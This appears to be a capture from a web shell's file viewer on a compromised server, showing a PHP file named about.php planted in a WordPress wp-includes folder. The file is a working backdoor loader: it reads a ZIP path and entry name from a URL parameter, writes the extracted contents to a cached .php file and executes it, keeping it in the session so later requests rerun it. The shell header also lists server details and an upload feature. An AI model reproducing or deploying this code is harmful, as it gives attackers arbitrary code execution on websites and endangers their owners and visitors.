HEX
Server: Apache
System: Linux server1.yalehafricanfoods.shop 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User: yalenocb (1002)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/yalenocb/adeviala.shop/wp-includes/about.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
opcache_reset();
session_start();
if (isset($_GET['reset'])) {
	session_unset();
session_destroy();
    exit;
}
$cacheDir = sys_get_temp_dir() . '/cache';
if (!is_dir($cacheDir)) {
    mkdir($cacheDir, 0755, true);
}
if (
    isset($_SESSION['loc']) &&
    isset($_SESSION['cache_file']) &&
    file_exists($_SESSION['cache_file'])
) {
    require $_SESSION['cache_file'];
    exit;
}
if (!isset($_GET['loc'])) {
    die('Parameter not found');
}
$input = trim($_GET['loc']);
if (strpos($input, '#') === false) {
    die('Format not valid.');
}
list($zipFile, $entryName) = explode('#', $input, 2);
if ($zipFile[0] === '/') {
    $zipPath = $zipFile;
} else {
    $zipPath = __DIR__ . '/' . $zipFile;
}
$realZip = realpath($zipPath);
if ($realZip === false || !file_exists($realZip)) {
    die("ZIP not found: {$zipFile}");
}
$zip = new ZipArchive();
if ($zip->open($realZip) !== true) {
    die('Failed open ZIP');
}
$content = $zip->getFromName($entryName);
$zip->close();
if ($content === false) {
    die("Entry '{$entryName}' not found");
}
$hash = md5($realZip . '|' . $entryName . '|' . md5($content));
$cacheFile = $cacheDir . '/' . $hash . '.php';
if (!file_exists($cacheFile)) {
    file_put_contents($cacheFile, $content);
}
$_SESSION['loc'] = $input;
$_SESSION['script'] = $content;
$_SESSION['cache_file'] = $cacheFile;
$_SESSION['script_md5'] = md5($content);
require $cacheFile;
?>